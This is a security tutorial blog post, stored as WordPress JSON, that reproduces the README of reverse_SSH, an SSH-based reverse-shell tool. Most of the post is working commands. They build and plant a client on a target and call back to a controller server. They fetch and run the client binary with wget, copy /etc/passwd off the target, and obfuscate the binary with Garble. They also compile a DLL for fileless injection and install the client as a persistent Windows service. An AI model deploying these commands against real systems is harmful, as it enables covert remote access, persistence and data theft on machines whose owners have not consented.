{"id":27584,"date":"2022-11-10T13:54:06","date_gmt":"2022-11-10T13:54:06","guid":{"rendered":"https:\/\/kalilinuxtutorials.com\/?p=27584"},"modified":"2022-11-10T13:54:08","modified_gmt":"2022-11-10T13:54:08","slug":"reverse_ssh","status":"publish","type":"post","link":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/","title":{"rendered":"Reverse_SSH : SSH Based Reverse Shell"},"content":{"rendered":"\n<p>Want to use SSH for reverse shells? Now you can using reverse_SSH.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Manage and connect to reverse shells with native SSH syntax<\/li>\n\n\n\n<li>Dynamic, local and remote forwarding<\/li>\n\n\n\n<li>Native SCP and SFTP implementations for retrieving files from your targets<\/li>\n\n\n\n<li>Full windows shell<\/li>\n\n\n\n<li>Mutual client &amp; server authentication to create high trust control channels<br>And more!<\/li>\n<\/ul>\n\n\n\n<h2 class=\"has-text-align-center has-light-green-cyan-background-color has-background wp-block-heading\">Setup<\/h2>\n\n\n\n<p><strong>Docker:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">docker run -p3232:2222 -e EXTERNAL_ADDRESS=&lt;your_external_address&gt;:3232 -e SEED_AUTHORIZED_KEYS=\"$(cat ~\/.ssh\/id_ed25519.pub)\" -v data:\/data reversessh\/reverse_ssh<\/pre>\n\n\n\n<p><strong>Manual:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">git clone https:\/\/github.com\/NHAS\/reverse_ssh\n\ncd reverse_ssh\n\nmake\ncd bin\/\n\n# start the server\ncp ~\/.ssh\/id_ed25519.pub authorized_keys\n.\/server 0.0.0.0:3232<\/pre>\n\n\n\n<h2 class=\"has-text-align-center has-light-green-cyan-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#running\"><\/a>Running<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"># copy client to your target then connect it to the server\n.\/client your.rssh.server.com:3232\n\n# Get help text\nssh your.rssh.server.com -p 3232 help\n\n# See clients\nssh your.rssh.server.com -p 3232 ls -t\n\n                                Targets\n+------------------------------------------+------------+-------------+\n| ID                                       | Hostname   | IP Address  |\n+------------------------------------------+------------+-------------+\n| 0f6ffecb15d75574e5e955e014e0546f6e2851ac | root.wombo | [::1]:45150 |\n+------------------------------------------+------------+-------------+\n\n\n# Connect to full shell\nssh -J your.rssh.server.com:3232 0f6ffecb15d75574e5e955e014e0546f6e2851ac\n\n# Or using hostname \n\nssh -J your.rssh.server.com:3232 root.wombo\n<\/pre>\n\n\n\n<h2 class=\"has-text-align-center has-light-green-cyan-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#setup-instructions\"><\/a>Setup Instructions<\/h2>\n\n\n\n<p><strong>NOTE:<\/strong> reverse_ssh requires Go <strong>1.17<\/strong> or higher. Please check you have at least this version via <code>go version<\/code><\/p>\n\n\n\n<p>The simplest build command is just:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">make<\/pre>\n\n\n\n<p>Make will build both the <code>client<\/code> and <code>server<\/code> binaries. It will also generate a private key for the <code>client<\/code>, and copy the corresponding public key to the <code>authorized_controllee_keys<\/code> file to enable the reverse shell to connect.<\/p>\n\n\n\n<p>Golang allows your to effortlessly cross compile, the following is an example for building windows:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">GOOS=windows GOARCH=amd64 make client # will create client.exe<\/pre>\n\n\n\n<p>You will need to create an <code>authorized_keys<\/code> file much like the ssh <a href=\"http:\/\/man.he.net\/man5\/authorized_keys\">http:\/\/man.he.net\/man5\/authorized_keys<\/a>, this contains <em>your<\/em> public key. This will allow you to connect to the RSSH server.<\/p>\n\n\n\n<p>Alternatively, you can use the &#8211;authorizedkeys flag to point to a file.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">cp ~\/.ssh\/id_ed25519.pub authorized_keys\n.\/server 0.0.0.0:3232 #Set the server to listen on port 3232<\/pre>\n\n\n\n<p>Put the client binary on whatever you want to control, then connect to the server.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">.\/client your.rssh.server.com:3232<\/pre>\n\n\n\n<p>You can then see what reverse shells have connected to you using <code>ls<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">ssh your.rssh.server.com -p 3232 ls -t\n                                Targets\n+------------------------------------------+------------+-------------+\n| ID                                       | Hostname   | IP Address  |\n+------------------------------------------+------------+-------------+\n| 0f6ffecb15d75574e5e955e014e0546f6e2851ac | root.wombo | [::1]:45150 |\n+------------------------------------------+------------+-------------+\n<\/pre>\n\n\n\n<p>Then typical ssh commands work, just specify your rssh server as a jump host.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"># Connect to full shell\nssh -J your.rssh.server.com:3232 root.wombo\n\n# Run a command without pty\nssh -J your.rssh.server.com:3232 root.wombo help\n\n# Start remote forward \nssh -R 1234:localhost:1234 -J your.rssh.server.com:3232 root.wombo\n\n# Start dynamic forward \nssh -D 9050 -J your.rssh.server.com:3232 root.wombo\n\n# SCP \nscp -J your.rssh.server.com:3232 root.wombo:\/etc\/passwd .\n\n#SFTP\nsftp -J your.rssh.server.com:3232 root.wombo:\/etc\/passwd .\n<\/pre>\n\n\n\n<h2 class=\"has-text-align-center has-light-green-cyan-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#fancy-features\"><\/a>Fancy Features<\/h2>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#default-server\"><\/a>Default Server<\/h3>\n\n\n\n<p>Specify a default server at build time:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">$ RSSH_HOMESERVER=your.rssh.server.com:3232 make\n\n# Will connect to your.rssh.server.com:3232, even though no destination is specified\n$ bin\/client\n\n# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232\n$ bin\/client example.com:3232<\/pre>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#built-in-web-server\"><\/a>Built in Web Server<\/h3>\n\n\n\n<p>The RSSH server can also run an HTTP server on the same port as the RSSH server listener which serves client binaries. The server must be placed in the project <code>bin\/<\/code> folder, as it needs to find the client source.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">.\/server --webserver :3232\n\n# Generate an unnamed link\nssh your.rssh.server.com -p 3232\n\ncatcher$ link -h\n\nlink [OPTIONS]\nLink will compile a client and serve the resulting binary on a link which is returned.\nThis requires the web server component has been enabled.\n\t-t\tSet number of minutes link exists for (default is one time use)\n\t-s\tSet homeserver address, defaults to server --external_address if set, or server listen address if not.\n\t-l\tList currently active download links\n\t-r\tRemove download link\n\t--goos\tSet the target build operating system (default to runtime GOOS)\n\t--goarch\tSet the target build architecture (default to runtime GOARCH)\n\t--name\tSet link name\n\t--shared-object\tGenerate shared object file\n  --fingerprint Set RSSH server fingerprint will default to server public key\n  --upx   Use upx to compress the final binary (requires upx to be installed)\n  --garble\tUse garble to obfuscate the binary (requires garble to be installed)\n\n# Build a client binary\ncatcher$ link --name test\nhttp:\/\/your.rssh.server.com:3232\/test\n<\/pre>\n\n\n\n<p>Then you can download it as follows:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">wget http:\/\/your.rssh.server.com:3232\/test\nchmod +x test\n.\/test<\/pre>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#windows-dll-generation\"><\/a>Windows DLL Generation<\/h3>\n\n\n\n<p>You can compile the client as a DLL to be loaded with something like <a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/blob\/master\/CodeExecution\/Invoke-ReflectivePEInjection.ps1\">Invoke-ReflectivePEInjection<\/a>. This will need a cross compiler if you are doing this on linux, use <code>mingw-w64-gcc<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll<\/pre>\n\n\n\n<p>When the RSSH server has the webserver enabled you can also compile it with the link command:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">.\/server --webserver :3232\n\n# Generate an unnamed link\nssh your.rssh.server.com -p 3232\n\ncatcher$ link --name windows_dll --shared-object --goos windows\nhttp:\/\/your.rssh.server.com:3232\/windows_dll\n<\/pre>\n\n\n\n<p>Which is useful when you want to do fileless injection of the rssh client.<\/p>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#ssh-subsystem\"><\/a>SSH Subsystem<\/h3>\n\n\n\n<p>The SSH ecosystem allowsy out define and call subsystems with the <code>-s<\/code> flag. In RSSH this is repurposed to provide special commands for platforms.<\/p>\n\n\n\n<h4 class=\"has-text-align-center has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#all\"><\/a>All<\/h4>\n\n\n\n<p><code>list<\/code> Lists avaiable subsystem<br><code>sftp<\/code>: Runs the sftp handler to transfer files<\/p>\n\n\n\n<h4 class=\"has-text-align-center has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#linux\"><\/a>Linux<\/h4>\n\n\n\n<p><code>setgid<\/code>: Attempt to change group<br><code>setuid<\/code>: Attempt to change user<\/p>\n\n\n\n<h4 class=\"has-text-align-center has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#windows\"><\/a>Windows<\/h4>\n\n\n\n<p><code>service<\/code>: Installs or removes the rssh binary as a windows service, requires administrative rights<\/p>\n\n\n\n<p>e.g<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"># Install the rssh binary as a service (windows only)\nssh -J your.rssh.server.com:3232 test-pc.user.test-pc -s service --install<\/pre>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#windows-service-integration\"><\/a>Windows Service Integration<\/h3>\n\n\n\n<p>The client RSSH binary supports being run within a windows service and wont time out after 10 seconds. This is great for creating persistent management services.<\/p>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#full-windows-shell-support\"><\/a>Full Windows Shell Support<\/h3>\n\n\n\n<p>Most reverse shells for windows struggle to generate a shell environment that supports resizing, copying and pasting and all the other features that we&#8217;re all very fond of. This project uses conpty on newer versions of windows, and the winpty library (which self unpacks) on older versions. This should mean that almost all versions of windows will net you a nice shell.<\/p>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#webhooks\"><\/a>Webhooks<\/h3>\n\n\n\n<p>The RSSH server can send out raw HTTP requests set using the <code>webhook<\/code> command from the terminal interface.<\/p>\n\n\n\n<p>First enable a webhook:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">$ ssh your.rssh.server.com -p 3232\ncatcher$ webhook --on http:\/\/localhost:8080\/<\/pre>\n\n\n\n<p>Then disconnect, or connect a client, this will when issue a <code>POST<\/code> request with the following format.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">$ nc -l -p 8080\nPOST \/rssh_webhook HTTP\/1.1\nHost: localhost:8080\nUser-Agent: Go-http-client\/1.1\nContent-Length: 165\nContent-Type: application\/json\nAccept-Encoding: gzip\n\n{\"Status\":\"connected\",\"ID\":\"ae92b6535a30566cbae122ebb2a5e754dd58f0ca\",\"IP\":\"[::1]:52608\",\"HostName\":\"user.computer\",\"Timestamp\":\"2022-06-12T12:23:40.626775318+12:00\"}%  <\/pre>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#tuntap\"><\/a>Tuntap<\/h3>\n\n\n\n<p>RSSH and SSH support creating tuntap interfaces that allow you to route traffic and create pseudo-VPN. It does take a bit more setup than just a local or remote forward (<code>-L<\/code>, <code>-R<\/code>), but in this mode you can send <code>UDP<\/code> and <code>ICMP<\/code>.<\/p>\n\n\n\n<p>First set up a tun (layer 3) device on your local machine.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">sudo ip tuntap add dev tun0 mode tun\nsudo ip addr add 172.16.0.1\/24 dev tun0\nsudo ip link set dev tun0 up\n\n# This will defaultly route all non-local network traffic through the tunnel\nsudo ip route add 0.0.0.0\/0 via 172.16.0.1 dev tun0\n<\/pre>\n\n\n\n<p>Install a client on a <em>remote<\/em> machine, this <strong>will not work<\/strong> if you have your RSSH client on the same host as your tun device.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">ssh -J your.rssh.server.com:3232 user.wombo -w 0:any\n<\/pre>\n\n\n\n<p>This has some limitations, it is only able to send UDP\/TCP\/ICMP, and not arbitrary layer 3 protocols. ICMP is best effort and may use the remote hosts <code>ping<\/code> tool, as ICMP sockets are privileged on most machines. This also does not support <code>tap<\/code> devices, e.g layer 2 VPN, as this would require administrative access.<\/p>\n\n\n\n<h2 class=\"has-text-align-center has-light-green-cyan-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#help\"><\/a>Help<\/h2>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#garble\"><\/a>Garble<\/h3>\n\n\n\n<p>To enable the <code>--garble<\/code> flag in the <code>link<\/code> command you must install garble, a system for obfuscating golang binaries. However the <code>@latest<\/code> release has a bug that causes panics with generic code.<br>If you are installing this manually use the following:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">go install mvdan.cc\/garble@f9d9919<\/pre>\n\n\n\n<p>Then make sure that the <code>go\/bin\/<\/code> directory is in your <code>$PATH<\/code><\/p>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#permission-denied-publickey\"><\/a>Permission denied (publickey).<\/h3>\n\n\n\n<p>Unfortunately the golang <code>crypto\/ssh<\/code> upstream library does not support <code>rsa-sha2-*<\/code> algorithms, and work is currently ongoing here:<\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"><a href=\"https:\/\/github.com\/golang\/go\/issues\/49952\">golang\/go#49952<\/a><\/p>\n\n\n\n<p>So until that work is completed, you will have to generate a different (non-rsa) key. I recommend the following:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">ssh-keygen -t ed25519\n<\/pre>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#windows-and-sftp\"><\/a>Windows and SFTP<\/h3>\n\n\n\n<p>Due to the limitations of SFTP (or rather the library Im using for it). Paths need a little more effort on windows.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">sftp -r -J your.rssh.server.com:3232 test-pc.user.test-pc:'\/C:\/Windows\/system32'<\/pre>\n\n\n\n<p>Note the <code>\/<\/code> before the starting character.<\/p>\n\n\n\n<h3 class=\"has-cyan-bluish-gray-background-color has-background wp-block-heading\"><a href=\"https:\/\/github.com\/NHAS\/reverse_ssh#foreground-vs-background-important-note-about-clients\"><\/a>Foreground vs Background (Important note about clients)<\/h3>\n\n\n\n<p>By default, clients will run in the background. When started they will execute a new background instance (thus forking a new child process) and then the parent process will exit. If the fork is successful the message &#8220;Ending parent&#8221; will be printed.<\/p>\n\n\n\n<p>This has one important ramification: once in the background a client will not show any output, including connection failure messages. If you need to debug your client, use the <code>--foreground<\/code> flag.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button aligncenter\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/github.com\/NHAS\/reverse_ssh\" target=\"_blank\" rel=\"noreferrer noopener\">Click Here To Download<\/a><\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Want to use SSH for reverse shells? Now you can using reverse_SSH. Setup Docker: docker run -p3232:2222 -e EXTERNAL_ADDRESS=&lt;your_external_address&gt;:3232 -e SEED_AUTHORIZED_KEYS=&#8221;$(cat ~\/.ssh\/id_ed25519.pub)&#8221; -v data:\/data reversessh\/reverse_ssh Manual: git clone https:\/\/github.com\/NHAS\/reverse_ssh cd reverse_ssh make cd bin\/ # start the server cp ~\/.ssh\/id_ed25519.pub authorized_keys .\/server 0.0.0.0:3232 Running # copy client to your target then connect it to the [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":27588,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[28],"tags":[1896,1957,2840,5740,3220,5741,3714],"class_list":["post-27584","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-kali","tag-linux","tag-mac","tag-reverse-shell","tag-reverse_ssh","tag-ssh","tag-window","tag-windows"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Reverse_SSH : SSH Based Reverse Shell 2022!!!Kalilinuxtutorials<\/title>\n<meta name=\"description\" content=\"Want to use SSH for reverse shells? Now you can using reverse_SSH. Manage and connect to reverse shells with native SSH syntax\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Reverse_SSH : SSH Based Reverse Shell 2022!!!Kalilinuxtutorials\" \/>\n<meta property=\"og:description\" content=\"Want to use SSH for reverse shells? Now you can using reverse_SSH. Manage and connect to reverse shells with native SSH syntax\" \/>\n<meta property=\"og:url\" content=\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/\" \/>\n<meta property=\"og:site_name\" content=\"Kali Linux Tutorials\" \/>\n<meta property=\"article:published_time\" content=\"2022-11-10T13:54:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-11-10T13:54:08+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png\" \/>\n<meta name=\"author\" content=\"R K\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png\" \/>\n<meta name=\"twitter:creator\" content=\"@CyberEdition\" \/>\n<meta name=\"twitter:site\" content=\"@CyberEdition\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"R K\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/\"},\"author\":{\"name\":\"R K\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad\"},\"headline\":\"Reverse_SSH : SSH Based Reverse Shell\",\"datePublished\":\"2022-11-10T13:54:06+00:00\",\"dateModified\":\"2022-11-10T13:54:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/\"},\"wordCount\":869,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png\",\"keywords\":[\"linux\",\"Mac\",\"Reverse Shell\",\"Reverse_SSH\",\"ssh\",\"Window\",\"windows\"],\"articleSection\":[\"Kali Linux\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/\",\"url\":\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/\",\"name\":\"Reverse_SSH : SSH Based Reverse Shell 2022!!!Kalilinuxtutorials\",\"isPartOf\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png\",\"datePublished\":\"2022-11-10T13:54:06+00:00\",\"dateModified\":\"2022-11-10T13:54:08+00:00\",\"description\":\"Want to use SSH for reverse shells? Now you can using reverse_SSH. Manage and connect to reverse shells with native SSH syntax\",\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/#primaryimage\",\"url\":\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png\",\"contentUrl\":\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgSBFaZ_YindAKVIU8hcuQvE_pUjULzGKoHoqYZoRH9w1RW1thrim59G4Xd8K_acUYxmjUPJx2V_PFHwi74L1OLHt3PtqvYjTjOxtsEFIuzrPVoQ3qeKnoPhibf1iNDlI0exvnDmQ2n70CWHdKT0Hxq7Rks3wWQn2ZM_SDek6UP3nyXbcU4johoe1wz\/s728\/Reverse%20SSH.png\",\"width\":\"728\",\"height\":\"380\"},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#website\",\"url\":\"https:\/\/kalilinuxtutorials.com\/\",\"name\":\"Kali Linux Tutorials\",\"description\":\"Kali Linux Tutorials\",\"publisher\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/kalilinuxtutorials.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#organization\",\"name\":\"Kali Linux Tutorials\",\"url\":\"https:\/\/kalilinuxtutorials.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png\",\"contentUrl\":\"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png\",\"width\":272,\"height\":90,\"caption\":\"Kali Linux Tutorials\"},\"image\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/x.com\/CyberEdition\",\"https:\/\/www.threads.com\/@cybersecurityedition\",\"https:\/\/www.linkedin.com\/company\/cyberedition\",\"https:\/\/www.instagram.com\/cybersecurityedition\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad\",\"name\":\"R K\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g\",\"caption\":\"R K\"},\"url\":\"https:\/\/kalilinuxtutorials.com\/author\/ranjith\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Reverse_SSH : SSH Based Reverse Shell 2022!!!Kalilinuxtutorials","description":"Want to use SSH for reverse shells? Now you can using reverse_SSH. Manage and connect to reverse shells with native SSH syntax","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/","og_locale":"en_US","og_type":"article","og_title":"Reverse_SSH : SSH Based Reverse Shell 2022!!!Kalilinuxtutorials","og_description":"Want to use SSH for reverse shells? Now you can using reverse_SSH. Manage and connect to reverse shells with native SSH syntax","og_url":"https:\/\/kalilinuxtutorials.com\/reverse_ssh\/","og_site_name":"Kali Linux 